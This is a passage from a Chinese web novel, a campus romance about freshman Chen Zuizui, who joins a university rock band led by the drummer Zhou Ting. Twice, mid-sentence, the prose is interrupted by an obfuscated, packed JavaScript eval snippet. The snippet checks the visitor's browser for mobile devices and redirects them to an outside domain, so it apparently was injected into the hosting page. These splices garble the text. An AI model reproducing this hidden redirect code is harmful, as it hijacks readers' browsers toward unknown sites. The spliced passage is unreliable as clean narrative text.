陈最最:“啊——” 高中就开始谈的? 她还想再问,黎初却撒娇道:“最最~~别再问了......以后有机会我再告诉你。” 陈最最吹鼓脸颊,只有些遗憾道:“那...好吧。” 黎初勾着她的手,嘻笑一声:“嘻嘻,你最好了。” “快看!开始了!” 伴随着黎初忽然的大吼,陈最最还没来得及扭头,一股混杂着厚重金属味道的电子音冲进她的耳洞。 由低盘旋,颤音至拉高,在波点声冲破顶的时候,又戛然而止。 一秒,紧跟而来的,是一记炸耳的鼓镲声。 混重的金属音乐从舞台两侧的黑色音响由小转大,接着,在第一个波点时,快奏的镲声冲破歌曲,从上空扑下,大灯应声嘣地骤亮。 陈最最没眨眼,顶着眼睛传来的缩紧疼痛,直勾勾望向舞台的右边,架子鼓演奏的方向。 耳边,节奏高快的鼓声、镲声,伴随着浓浓重金属味的电子舞曲,一下一下撞击她的耳膜。 视线内,架子鼓后边的那个男人,头发已经变回之前的三七分中短发。大灯在他后边,穿过他时,蒙上一层雾。 陈最最已经听不见周围的疯狂尖叫声,她如置身在一个巨大又空旷的世界中,只有树梢惊醒的蝉鸣、耳畔的音乐和眼前那个,将鼓棒在手中打圈,每一个敲击、踩镲都游刃有余的男生。 鼓点化身成一只绿色地萤火虫,扑哧着透明地翅膀,轻轻点在一汪黑色死水中,银色的光从它脚下向外蔓延,直至点亮整个心海。 这是专属于周廷的宰杀场,包括陈最最在内,所有人,都是他的猎物。 难忘的一幕常常在她脑海里回荡,军训的痛苦日复一日地还在继续。 陈最最自认为与周廷的这两段邂逅已经足够奇妙。可她没想到,军训过后,因为一时脑热,她跟周廷之间,有了更深的羁绊。 让她开心,又让她难过,反复蹂.躏,来回鞭挞。 4. 她 正式开始上课的第一天,陈最最拒绝李思的午饭邀请,逆着人流,朝音乐学院所在的楼走。 昨晚班会上,班主任找陈最最,让她第二天将留学的资料交给她。 苏海大学是全国音乐系排行第一的综合类大学,也是她申请上的最好的一所大学。 音乐学院学生少,教授更少,加上辅导员笼统十来个。所以学校分给音乐学院的办公区域不大,归到了主教学楼,与新媒体学院在一块,第三到第五层。 班主任梁嘉的办公室在五楼,走廊尽头的靠近楼梯的一间。 陈最最进入办公室的时候,梁嘉正站在窗户前摆弄一束红玫瑰,穿着一字肩,紧身牛仔裤,长长的棕色大波浪散在身后。 陈最最莫名想起了李思在宿舍聊的八卦:梁嘉,苏大出了名的副教授。不光人美,说话还很温柔,私底下,校外校内都有很多追求者,但她眼光贼高,一个都看不上。 陈最最在梁嘉对面坐下,将手中厚厚的蓝色文件袋递给她。 梁嘉接过打开,一份份核对。期间,还不忘亲切地避免尴尬,主动跟陈最最聊天。 终于,梁嘉数完了,关好文件袋,掀眼看陈最最,嘴角挂着温柔的笑:“嗯,可以了。” 陈最最颔首,起身准备离开,梁嘉叫住了她。 “最最,可以稍微等一下吗?” 陈最最回身,“怎么了老师?” “嗯……我有点私人的问题想问你。” “什么问题啊?”陈最最转着眼珠子。 “报道那天......”梁嘉的脸微微泛红:“送最最来的是哥哥吗?” “……” 陈最最出了办公室,没走几步,手机叮咚咚一声传来提示音,她翻手,点开微信。 【哥:一张聊天截图】 【哥:你班主任?】 【Angela:嗯。】 她很确信,梁嘉看上陈政聿了。但陈最最并不关心她哥的感情问题,一个巴不得一天有二十五个小时工作时间的人,手机微信只看四个置顶,家人三个,最后一个男秘书。 这样的人,能有什么感情问题?他这辈子都不可能有老婆。 陈政聿没再发消息过来,陈最最按熄屏幕,把手机插进黑色短裤的屁兜里。 正是午饭的时间,整个楼道的办公室门都关上了,只有她小皮鞋踩在地上的声音。 她想起李思聊起苏大风云人物时说过,音乐学院有四五支乐队,每一支学院都都给他们劈了一间单独的教室练习。 嗨乐队的练习室好像正巧就在五楼,电梯出来拐角走廊右手的第一间。 陈最最抱着隐隐想要再见那个人的期待,在经过E502办公室的时候刻意停留了一下,仔细打量着挂在墙上的一幅乖张的,写着“嗨”字的水彩画。 门是关上的,看来里面没人。陈最最转身要走,忽然门里面听见细小的说话声。 她身子倾斜凑过去听,依稀传来离开,分手,确定要走等字眼,很像小情侣分手吵架时的说的话。 陈最最意识到不能再偷听了,扭头,转身,快步走到电梯前,压红按钮。 在等电梯的时候,吱呀一声,金属门的铰链互相摩擦着,响起刺耳尖锐的声音。侧后方的门被人推开了,走出了两个脚步声。 一瞬间,陈最最这八卦的心呐,就那么疯狂烧了起来。 是谁啊?谁和谁分啦? 她喉咙滚了滚,咬着下唇,眼珠子骨碌一转,斜眼看过去。 可也是这一眼,陈最最心跳漏了一下,心中熊熊燃烧的八卦之火,被掺着冰碴子的水狠狠浇灭了。 走在前面的是一个高瘦的女生,留着齐耳的蓝白挑染短发。而在她身后,是穿着白T和卡其色马甲的周廷。 他垂着眼,脸上的线条流畅但绷紧。 周廷单手锁上练习室的门,单手插进裤兜里走过来。在他抬头的那一刻,陈最最跟他四目相对。 陈最最曾设想过无数次再见周廷要用一副什么表情,吃惊的,欣喜的,偶遇邂逅时说一句:“好巧啊,你竟然也是苏海大学的。”然后厚脸皮地请人家喝奶茶,借此拉近关系,加个联系方式什么的。 可现在……他目光很平静,好像忘记她了。 陈最最绞着包臀裙垂下来的系带,桃红色的嘴唇不自觉嘟起,长而密的睫毛耷下,在眼底勾出一条不开心的弧度。 做作多情,为什么人家一定要记得你。她在心里埋怨着。 电梯很快到了,陈最最先走了进去,身后的人紧接着跟上来,分别站在她左右前,离得远远。 陈最最咬牙,可不是嘛,小情侣吵架可不得站得远赌气嘛。 苏海大学主教学楼的电梯很高档,是镜面的。陈最最的视线不自觉透过电梯壁看向右边女生的脸,女生打了大地色的眼影,浅浅的红色眼线,五官凌厉分明,很具有攻击性。 他原来喜欢这样的女生吗? 心中传来一股难以言说的憋闷。 陈最最红唇轻抿,视线划过壁中自己的娃娃脸,然后蓦地与一双漆黑的、冷淡的眼撞到一块。 电梯在这个时候到达一层,滞一下,连带着她的心也随之抖了。 电梯的两瓣爿门朝两边打开,她的影子被分成两瓣,镜中,深邃的那双眼也随之消失不见。 周六,陈最最陪黎初逛商场,黎初进维多利亚挑了几件蕾丝内衣去试。陈最最坐在玫红色的柔质沙发上,低头双手拖着手机,刷学校论坛。 ——【日常帖:今天西苑多了一只白毛猫。】 ——【发疯帖:在三食堂遇见周廷了,他午饭吃的鱼香肉丝!】 ——【吐槽贴:七号楼那个短头发的宿管阿姨,你检查完宿舍麻烦记得关灯!】 ——【吐槽帖:他好帅啊~~~今天看见学妹找周廷要V被拒了。】 陈最最:“……” 十条里面至少有六条都是跟周廷有关的。陈最最又想到两天前在,教学楼遇到周廷的情形,有些烦闷,论坛也不想刷了。 她退出来,正好有条消息从顶部弹出。 陈最最点开,是李思发来的一个动态推送,标题是【嗨乐队招主唱啦!欢迎学弟学妹踊跃报名!】。 紧接着,李思发来一段十多秒的语音。 李思:“最最最最!你快看我发给你的这个这个,我去,嗨乐队要招人了,好像是因为原来的主唱要出国了。日,我到现在都觉得脑子是蒙的。”噼里啪啦说了一大堆,最后问了一句,“最最,你报名吗?” 陈最最没来得及回,黎初刷地掀开帘,手上拿着一件三角杯黑色蕾丝的胸.罩,她拉开陈最最的手举投降,拽着胸罩的两边直接扣到她腋下。 陈最最举着手机,愣住。 黎初自顾打量摇头:“嗯,果然小了。” 黎初说完,又去挑了。 一旁的销售小姐偷笑,陈最最也跟着笑一声,尴尬地收回手,才点开李思发的那条推送,从头读到尾。她又点开海报,第一眼看到了的是最角落的一张背景是雪地的照片。 她放大,仔细看是一张四人合照,男生穿着红绿蓝黑的滑雪服站在滑雪场里比着滑稽的动作。而在照片的右上角,有一个穿着全身粉的人踩板在空中的定格。 那是她。 陈最最心中升起了一种很复杂的思绪。 …… 犹豫了会儿,最终她在跟李思的对话框编辑一个字:嗯。 嗨乐队招人的方式比较奇特。要先是录一段清唱同一首歌的视频发到海报上写的邮箱里。三天之后,会筛选出一批人,进行面试。 陈最最进面了,但李思落选了,苦着一张脸,还笑着恭喜她:“好好发挥,最最你一定能选上的。” 陈最最也说了几句宽慰的话,虽然不知道有没有用。 第二轮线下面试安排在了周六,地点在逸夫楼的阶梯大教室里,包括陈最最在内,她数了数群里的人数,总共有二十三个,分上下午两批进行。 面试内容跟第一轮不一样,可以唱自己擅长的曲风。 陈最最选了最近听到的一首很喜欢的歌,叫《锁》。用了许多技巧演绎。她自认为自己的技巧情感是突出的,实力在他们这一届来说也算是前茅,进乐队应该是可以的。 叶斌他们都在,但看见她也就吃惊了下,但更多的是看见美女的那种吃惊,好像并没有认出她。整个过程,陈最最觉得遗憾的是,没见到周廷,不知何故他没参加这次的面试。 结果在当天傍晚就出来了。 陈最最收到短信的时候正准备出门吃饭,手机传来一条短信提醒。 ——同学你好,我是嗨乐队的负责人。很遗憾通知您,虽然同学的唱功基础很好,对选歌唱法大开大合很不错,但由于我们是一只摇滚乐队,同学的唱法可能不太适合。因此只能很遗憾通知同学,不过虽然没法加入我们嗨乐队了,但一定还有更好的机会在等着你。 很暖心的一段话,但暖不进陈最最,她心哇凉哇凉的,正所谓期望有多大,失望就有多大。她从没想过自己会落选。 陈最最焉了,可也就焉了一会,很快振作起来。 哼!进不了嗨乐队成为不了她的遗憾,嗨乐队错失她才是他们的遗憾。 李思在知道陈最最和她双双落选后,笑着拍了拍陈最最的肩膀说:“没事,正好我们都没选上,难姐难妹。” 之后,李思逛学校论坛上,找到了被选上的女生,是一个大二声乐班的学姐。 平时不出名,却无声无息干了件大事,火遍全校。 晚上十一点,本该进入梦乡,陈最最躺在床上却怎么都睡不着,想摆大字,床又太窄。 她狠狠蹬两下腿,腾地坐起来。李思和梁雪荞都还没睡,她们两个睡临床,手机屏幕的微弱亮光隔着窗帘传出来。 陈最最爬下床,拿起桌上充电的手机,给她哥发了一条消息。 【Angela:你在哪里?】 隔了几分钟。 【哥:公司。?】 【Angela:来学校接我嘛,我想回家。】 凌晨的校园总是格外宁静,夜里刚下过一场小雨,地面泛着一层薄薄的水汽。结了蛛网的路灯躲进冬青树的树梢,像一盏夜里静谧的白色灯笼。 周廷回到学校的时候已经是凌晨三点。 奶奶的冠心病又加重了,手术加上观察,他在医院呆了一整天。 苏海大学的宿舍没有门禁,周廷刷脸进楼,走到宿舍门轻声打开,叶斌他们三个都睡了,三号床的张彡打着震天的呼噜声。 叶斌觉浅,很快听到动静,拉开窗帘的一角,扯嗓子很小声:“回来了?奶奶怎么样?” 周廷脱掉黑色板鞋,边穿拖鞋,边道:“没事了。”然后弯腰,把鞋放进鞋柜里,转身,走到叶斌床边,单手扶上扶手:“面试的视频在哪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072069|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶斌稀松着眼,“你现在看?” 周廷点头。 叶斌叹气,做了起床的心里准备后,扶着楼梯下床,打开电脑,将电脑拉到周廷面前,指着桌面的一个文件夹道:“喏,全在这。” 周廷直接在叶斌的椅子上坐下,从裤袋里拉出有线耳机,理顺,带上,连接电脑自带的圆孔。屏幕的光照亮他的脸,一双瞳孔黑漆漆的跟抛了光的宝石一样亮。 叶斌穿着背心和海绵宝宝裤衩站在旁边,扯着千斤重的眼皮,愣是没从周廷脸上看到一点疲色,埋汰一句“变态”后,撅着屁股爬上了床。 他是正常人,不配拥有变态的作息。 所有人的视频,周廷一个不落全看。 窗外的第一缕光慢慢蚕食黑暗,不知不觉间,天已经大亮,一缕光从窗帘的缝隙中钻入。 早上六点,闻小云第一个醒来,他漱牙洗脸好,出门吃完早餐回来后,拿着一包抽纸就钻进厕所。 张彡第二个起床,嘴里叼着牙刷坐在椅子上,单臂举哑铃。兀地宿舍门响起,他吓得牙刷啪地落在地上,白色瓷板上洇出一团白沫。 他裸着上身,扭头,看见周廷关门,走到窗帘隔开的光束中,张彡后怕地闭上眼,又睁开,和着一口东北腔:“哎呀妈呀,你吓死我了你。” 张彡把哑铃放到角落,从桌面的纸包里抽出一张纸,捡起牙膏把地擦干净。 周廷走到自己的床位下,打开桌上的明黄色的小台灯。 不知道他在忙什么,张彡疑惑走过去,一只手斜靠在床梯上,一只手叉腰,他探头看,声音很小,又问了周廷奶奶的情况后,看着周廷在发愣,问道:“发啥愣呢儿你?” 这时,冲马桶的声音响起,闻小云从厕所出来,也凑到了周廷身边。 周廷低着头,手里拿着选拔的花名册,指节修长、经络分明的手,捻着其中一页的页角,圈成一个半圆。 “你们选错人了。”周廷声音低低。 “啥?”张彡探头去看那张纸,看到周廷用红笔圈了一个电话号码,号码旁边的名字,就是那个让叶斌、闻小云和他纠结大半天的人的名字。 张彡歪头,“陈最最?” 叶斌被吵醒了,唰的一声拉开窗帘,头发蓬乱,眯着眼爬下床,脚趾勾着拖鞋往前走,“她吗?嗯......她唱得是很好,可风格跟我们乐队不搭吧。” “不,”周廷不认可摇头,斩钉截铁道:“我们现在恰好最需要的就是这种风格。”说完转头看着他们,嘴角扬起淡淡的笑:“我想要她,你们怎么想?” “嗐,想要就要,正好学妹唱歌好听长得还贼拉呀俊,我没啥问题。”张彡腾出腰上的手抹了一把自己的寸头,吊儿郎当笑道。 叶斌:“我信你,只要你觉得Ok那就没问题。” 周廷看向唯一没有开口的闻小云,后者似乎陷入什么回忆中,察觉到视线,抽丝剥茧,“啊,我,我也没意见。只是我在想,这个学妹我好像在哪里见过……” “陈最最……”张彡摩挲下巴刺手的胡子,对于见过的美女他基本都记得,可最近见到的美女实在有点多......倏而,他眸光一闪,“爬。她不就是咱们在布勒山儿咖啡馆遇到的那个妹子吗?我丢,难不成我跟她真有难以割舍的缘分?千里姻缘一线牵儿?” 叶斌啅了一口:“滚犊子,大早上就做梦?你是猪吗没睡醒?” 张彡:“操,你丫叶斌欠揍。” 张彡和叶斌你一句我一句,推推桑桑。 叶斌力气没有张彡大,被压制卡在楼梯洞里,觑眼看周廷:“欸,老廷,你咋一点不吃惊,人姑娘救了你讷?” 周廷盯着花名册的目光微顿,没回,捞过桌上充电的手机,点开短信,仔细对着陈最最的电话号码。然后打了一行字,发了过去。 另一边,早上九点半,陈最最的卧室里一片漆黑,她悠悠转醒,伸懒腰长长地呻吟一声。昨天陈政聿接她回到家的时候一家是凌晨一点,加上泡澡,洗漱,两点才睡下。 按动床头的按钮,双层落地窗帘朝两边打开,她掀开被子坐起来,拿起床头柜上的手机。 将信息从最新的一个开始看,李思、黎初都给她发了消息,还有一些陌生的好友信息,她全都拒绝。把弹窗上的广告全都点走后,陈最最看到了两条早上六点三十八分发过来的信息,发信人是178开头的陌生号码。 第一条:同学你好,我是嗨乐队的队长周廷,请问同学还有加入嗨乐队的意向吗? 第二条紧接着两分钟发来:学妹早上好呀!由于我的队员没眼力见错失你这块明珠璞玉,我深表歉意,并狠狠批评了他们!现在,我,周廷,诚恳地向你发出邀请,请学妹加入我们的乐队。若学妹能不计前嫌,只要你答应,让学长干什么都成! 第二条的口吻跟第一条完全不一样,甚至还在每句话的后面都配上了星星眼,呲牙笑的表情。 周廷那不苟言笑的模样居然会说出这样的话。陈最最乐得坐在床头咯咯笑,原来,他还有潜藏的逗逼属性吗? 周廷:..... 她脑海中莫名想起雪雾中摘下头盔帅她一脸的他,想起逆着光坐在大灯前把鼓棒当转笔一样玩,勾走她小魂的他。 嗯,既然如此,那就勉勉强强加入吧。 她点信息框,编辑了一行字。 【好啊。那学妹恭敬不如从命,学长就请我喝杯奶茶吧。】 5. 她 今天天气不错,阳光明媚,碧空万里。 陈最最自己卷了头发,画了一个淡淡妆,从衣帽间里挑了一件蓝黑色polo领口的美式连衣包臀裙。 一切准备就绪,她走到全身镜前,从头到脚一寸一寸打量自己。 她胸有C+,加上臀不窄,显得腰盈盈一握。 长长的微卷黑发披散在胸前,抚过傲人的山峦,尾肩随着走动轻轻扫在平坦的小腹上。 今天这身打扮,是个男人看见她都得视线逗留,血脉膨胀。 黎初是怎么形容她的?长着一张婊子脸。 今天的太阳很烈,陈最最喷了厚厚的一层防嗮。 防嗮是AC田园家,一个意大利专门负责定制护肤品的小品牌。她是敏感肌容易对化学药品过敏,因此所有护肤品都是这家专门定制。 奶茶之约,周廷定在学校的益禾堂。 陈最最倒也不挑,下午三点准时到了。 益禾堂不大,跟一家卤味和炸鸡翅共用一个大的店面,同学们给这个混店去了一个名字叫休闲吧。 四周是透明的玻璃墙,周末的时间能看见很多学生趁着聚在里面的休闲椅上玩桌游,闹得不可开交。 休闲吧的正门外长着一颗有两层楼高的冬青树,正当夏季,是婵生命力最顶峰的时候,微风吹来,鸣叫声一阵比一阵大。 陈最最在树下乘凉,目光一直看向宿舍楼到步行街的必经小路,头顶的蝉鸣一遍遍冲刷着她的小脑袋,尖锐得快要刺破她得耳膜。 人呢?让一个女生等,可不是绅士的行为。 她邹起眉头原地惦脚,又等了一会,在耐心即将告罄准备拿出手机准备给周廷发消息的时候,肩膀被人拍了一下。 “小姐姐。” 陈最最转身,是个她不认识的男生,笑得一脸灿烂看她。 陈最最秀眉微微蹙起,因为长时间的等待,语气中带了点不耐烦:“有事吗?” 她见男生愣了一下,以为是被自己语气吓到了,陈最最放缓了语气又问了一遍:“请问你有什么事吗?” 男生回过神,在里面的时候光看个背影就感觉是个美女,现在近看了,皮肤跟牛奶一样,眼睛水亮亮,像一汪清泉,无辜勾人眼球。 他咧嘴笑,意图展现自己最强的魅力:“小姐姐是在等人吗?” 陈最最随不明觉厉,还是点头。 男生闪躲着视线,没来由赧然挠头:“嗯......我。” 陈最最不解歪头,不明白这人在害羞个什么劲。 下一秒,她突然瞅见男生咬牙下定决心般,字句从牙缝里溜烟飞快地说:“我跟同学玩大冒险输了,小姐姐你可以让我抱一下吗?” “啊?”陈最最吃惊的表情凝下脸上。 在刺目的阳光下,红色从男生的脖子一路蔓延到了耳根。陈最最还没反应过来,男生飞快看了她一眼,张开手就要抱上来。 拒绝的话还没出口,身体率先反应,她下意识退步,结果踩到楼梯的边缘。 感觉到身体失重向后倒的时候已经来不及了,在她的视线中,男生眼睛嘴巴都张大了,伸出手想拉住她。 可她半个身子已经在外面,一头秀发从肩头滑落,在身后由风吹起。 这一摔起码要养半月,陈最最心中暗自叫苦。 可突然,一阵薄荷裹挟着香烟味的风袭来,一双干净白皙的手从阳光探进大树的阴影中,搂住她的格外细软的腰。 她落进了一个滚烫的怀抱中。 陈最最仰头。 是周廷。 他今天穿了一件纯黑没有花纹的短T,头发刚及眉,看起来很干净,但眼底却又一层淡淡的不易察觉的黑眼圈。 周廷用力把她往上提,陈最最脚底踩着空气稳稳落到地面,转头撅着嘴看他,有些羞赧也有些生气:“谢谢……不过你怎么现在才来啊,你知道我等了你多久吗?” 周廷将视线从站在台阶上的男生脸上收回,低头,脸上带着歉意,“抱歉,我睡着了。” “……” 陈最最忍住翻眼皮的冲动,睡午觉睡到下午三点,你可真行。 “呃......那个......”男生还没走,作势要走下台阶。 陈最最后退一步躲到周廷身后,小脸皱成一团,“嗯?难不成你还想抱我?” “啊?不……不行吗?”男生睹了周廷一眼。 陈最最本来想说不行,可忽然眼睛一转,想到了什么,手从周廷的腋下擦过,脸蛋故意靠着周廷的肩膀:“行是行,但我有男朋友了不能随便给别人抱。你想真抱我,得先问过他。” 周廷闻言抬起一边眉毛,压下另一边,低头看她,一脸:我什么时候成了你男朋友? 男生本意其实想认识陈最最,但现在也只能潸潸转身回进休闲吧。 男生走后,陈最最就松开手,朝旁边远离周廷一步。 周廷觑她一眼,朝休闲吧去,他走在前面,陈最最跟在后边。 看样子他没对刚才的事情生气。 陈最最心中暗笑。跟着周廷走到吧台,看着他用手机扫点餐码,长长的指节拖着手机递给她。 她接过来,手机没有套保护壳,手感很滑,因为天气闷热,机身滚烫。 她选了一会,最后点了一杯生椰蜜瓜拿铁。周廷把手机拿回去后又在屏幕上连点了几下。最后下单,用右手拿手机,左手插兜里,也没想着不跟陈最最主动搭话,就这么安安安静静地站着。 陈最最看他,他看着手机。 休闲吧里座无虚席,男男女女都有。 男的看陈最最,女的瞟周廷。一个是苏大常年活跃在论坛的校草,一个是音乐系新晋的富贵花。 男帅女美,就那么站在那什么都不做,俨然成为这个哄闹休闲吧里最吸睛的景点。 周廷不爱说话,陈最最也不知道说什么,周围人太多,多少双耳朵都在听着这里,说多错多。 适才陈最最忘了一件事,周廷有女朋友,万一一会谁把刚才她说自己是周廷女朋友的事情登到论坛上,人周廷女朋友会怎么想?她不就成了挖人墙角道德败坏的小三? 要是因为这样导致人小情侣之间生更大的误会,陈最最定会先扇自己一巴掌。 到此刻,陈最最甚至觉得,让周廷请她喝奶茶,不是什么明智之举。 所幸,号码很快叫到了一百九十九号,周廷从手机里抬头,长指捏着手机落入裤兜,他上前,从一众烤奶中拿起一个大袋子,从里面捡起生椰蜜瓜拿铁,扭头递给她。 陈最最双手捧过,仰着头,大眼忽闪忽闪,语气诚恳:“谢谢学长,谢谢你的奶茶。那乐队有什么事微信联系,我就先走了。” “去哪?” 陈最最停住脚步,转身:“回……回宿舍呀,不然去哪……” 周廷迟迟没有说话,当陈最最以为他默认了的时候,周廷插兜,提着一个漆着益禾堂logo的棕色纸袋走过来在她身侧停了一下,没什么表情地说:“跟我来。” 陈最最啜着手中的拿铁,仗着周廷走在前面肆无忌惮地打量他。 也不知道为什么,看见他就很开心。 可周廷腿长,迈的步子也大,她要走得很快才跟得上。 虽是艳阳天但路上的学生不少,不断有人频频侧目看他们。 陈最最瞟了一眼,用手背粘了粘额上的薄汗:“学长,你可不可以走慢一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072070|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。”她声音里带着点喘,实在太热了。况且她今天打扮那么好看呢,迈步子太太的话有损美感。 周廷脚步顿了一下,他没答应也没拒绝,只是接下来的路程,陈最最觉得没那么费劲了,偶尔走过冬青树下时甚至觉得无比凉爽。 走了大概十分钟,他们到了新媒体大楼,一路坐电梯到达第五层,周廷驾轻就熟打开门牌号E502的门。 推开门后,他先走了进去。陈最最大大方方地跟在他身后。 练习室里,叶斌和张彡两个人挤在一张小课桌前面埋头,不知道在看什么。闻小云在高脚椅上垂头拨弄贝斯。 在办公室的窗边放着一盆绿箩,此时有一男一女正站在那里,齐齐转头看朝门的方向。 女的正是毛米洁,男的确是个生面孔,陈最最不认识,好像也不是乐队的人。而毛米洁似乎跟这个男生格外亲密,胸贴着胸,嘴唇贴着嘴唇…… 见状,陈最最瞪大眼,立马看向被戴绿帽的周廷。 可周廷却跟个没事人似的,甚至眼睛都没有抬一下,把奶茶放到桌上后,从墙角的小型冰箱里拿出一盒特仑苏,坐进一个单人沙发里,长腿委屈地束缚在小矮桌下,一手拿牛奶,一手刷手机。 “嘿,学妹!”陈最最被一道呼声拉回注意力,她收回在周廷身上的视线,转头看朝她走来的人,“我们又见面了,你还记得我吗?” 叶斌满脸堆着笑容,身后跟着呆愣的张彡。 “学长好。”陈最最礼貌打招呼,自然不像初次见面东道主那般熟络,“记得。只是我也没想到,我跟大家居然会这么有缘。” “哈哈哈。”叶斌豪爽大笑,“来来来,我给你介绍介绍,以后大家就是一家人了。” 叶斌带着陈最最一个一个介绍,张彡和闻小云,陈最最都认识了,叶斌主要跟她说是他们在队内担任的位置。闻小云是贝斯手,张彡是键盘手,而叶斌自己是吉他手。 走了一圈,他们最后停在了窗边的那对野鸳鸯跟前,这对鸳鸯刚从热吻中分开。 叶斌介绍他们时脸色不怎么好,口气也没刚才那么热情,“这是毛米洁,乐队的主唱。” “学姐好。”陈最最乖巧点头。 毛米洁今天依旧穿着一身朋克。陈最最唤她,她却懒散地靠在窗边,抬着下巴眯起眼睛,临了呵一声,转过头,算作回应。 反而,毛米洁身边的那个长得很高大,浑身腱子肉的有点黑的男生,仗着一双菱形眼,又细又窄,眼神一直落在陈最最脸上看上,跟从地沟里爬出来的臭老鼠一样,让她感觉很不舒服。 叶斌很显然也不愿继续跟他们呼吸同一片空气,带着陈最最就往回走。 陈最最小声问他:“那个男生呢?是谁呀?” 叶斌斜了她一眼,用着满不在乎的口吻:“他你不需要认识,垃圾一个,以后在路上遇见了也别打招呼啊。” 陈最最不明白,可转头就见叶斌脸上又恢复春光满面,看清后,她也没空想原因了。 叶斌指着还在啜奶的周廷,“喏,这我不用多介绍了吧。我们乐队的鼓手加搭乐队拥有一票否决权的队长。” 一票否决权? “你能进乐队还要多亏他。你也知道,本来我们选的是另外一个学妹,但这家伙昨晚看了一整夜的视频,大清早起来就跟我们说要你。” 要她?陈最最的心莫名沉了一下,一股热意充上大脑。 叶斌嗤笑,朝她挤眉弄眼:“不知道的,还以为他要你,是要干某些嗯哼,那啥那啥呢,哈哈哈哈哈。” “……” 叶斌话刚落,一个空的白盒子卟的一声精准无误打在他脑门上。 “不会说话就闭上你的嘴。” 6. 她 周廷站起来,从裤兜里摸出一包土金色的帝豪烟和一支黑色打火机,单手握着,连手一起放回兜里。 他扫了一眼叶斌,没什么情绪说:“把奶茶分了,十五分钟之后开始练习。”边说边朝门外走,然后嘣的一声,门关上了。 叶斌先是低头看了陈最最手里的生椰拿铁看了一眼,转身打开桌上的纸袋,眼睛一亮,先自己搓开一杯,才把其他人的分了。 叶斌边啜奶茶,边跟陈最最介绍乐队的情况。没过一会,周廷抽烟回来了,他身上没带烟味,说话的时候反而能闻到淡淡的薄荷香。 陈最最是第一次那么近距离观看一个乐队的演奏,哪怕他们不出名,哪怕他们还只是一只还未展翅的雏鹰。 但在这个只有简单乐器,几张桌椅,墙角落漆布着蛛网的房溅内,乐队的每一个人,在一首歌当中所展现,跳跃的每个音符,带着向荣的蓬勃冲破禁锢它们的窗户。音浪所汇聚的波纹悄悄扩散,震颤树梢上的婵,惊醒了教学楼外满塘的含苞待放的荷花。 这样的独属于一个初生乐队的魅力,让陈最最羡慕,更让她庆幸。 真好,还好,她与这个乐队有一场难解的缘。 - 为了提高学生的课余生活,苏大学生会每年都会举办两场盛会,春天的叫春之声,秋天的则叫秋之韵。九月底正好是秋之韵的举办时间,作为校内火爆的乐队,陈最最他们自然要出席演出。 周廷他们都是大三的,学音乐的也没什么实习,时间很充裕,有大把的时间排练。 可陈最最不一样,她大一的课表,从周一开始到周五,早课,中间的军事、时政、专业课,加上陈最最辅修钢琴,晚上还要到琴房实训,整个表上就没有空的地方。 虽说毛米洁表演完这次之后陈最最才正式接替乐队主唱的位置,但她想提前适应,也跟队员沟通沟通感情。可接下来整整五天的时间,陈最最没有见过他们一个人。 从早八开始,到晚上九点自习结束,周廷他们早散了。 好不容易盼到了周末,陈最最刻意没有回家。 中午,叶斌在群里艾特所有人,下午三点到练习室排练。 陈最最不参与这次的表演,是周廷说,她就算不参加,排练也尽量来。 他说的话,陈最最自然一百个乐意听。 中午她跟李思吃完饭,睡了个美美的午觉,起床化妆。选了一个杏仁色的口红,在化妆镜前照着唇线细细描。 梁雪荞不在宿舍,李思躺在床上玩手机,看见陈最最要出去的样子,伸出头,问:“最最,你要出门?去哪里呀?” 最开始除了黎初,陈最最没将她进入嗨乐队的事告诉任何人。但现在,学校的论坛上都传开嗨乐队主唱换人,李思问她,陈最最就说了。 她扣上盖,将口红放进带出门的随身浅绿色的小方包里,转头,笑的时候,眼睛在发着光:“嗯,要去乐队。” 宿舍的窗帘拉上了,只有陈最最桌上的台灯亮着,昏暗的光线中,陈最最看见李思在床上翻了身,似乎有些激动,“要我陪你吗?” “不用啦,”陈最最挎上包,抬头看李思,咧开嘴露出八颗整齐的大白牙,说:“我还不知道能不能带人去,等我问过之后,再叫你去玩。” 说完,陈最最关掉台灯,出门了。 陈最最毕竟是新人,第一次见面是在不知情的情况下,这第二次就不该失礼。 想到这里,她脚步一拐,到了教育超市的水果区域,买了两盒喜欢吃的草莓,和一些盒装洗好的葡萄、哈密瓜,满满一大袋。 今天的太阳很亮,天上一片云都没有,39℃的天,热得树上得婵都在烦躁狂叫,吹来的风都裹挟着烫人的温度。 一手提着水果,一手撑着伞,但热浪还是从伞下钻进来,烤得陈最最的脸又粉又白,像一颗剥好皮的水仙桃。她鼓着嘴不断往外吐气,右手的塑料袋被扯得细细的,磨得她手疼。 她咬着牙不敢休息,紫外线的毒辣烤人,变黑和手疼,她选择后者。 陈最最走着走着,远远看见食堂门口的一棵香樟下站着一个人,她也没在意,走过那人。 “陈最最?” 陈最最刚走到第二颗树下,有人从身后叫住她。提着沉重的水果,陈最最转了半圈,皱着眉看着走进烈日,朝她来的陌生男生。 男生穿着白色胸前一只绿色卡通小龙人的短袖和米白色的叉腿裤,过眉的头发挑染了蓝色,鬓间浸湿一层薄汗。 有点眼熟但想不起来。 “你是?”陈最最手指很疼,但还是礼貌问道。 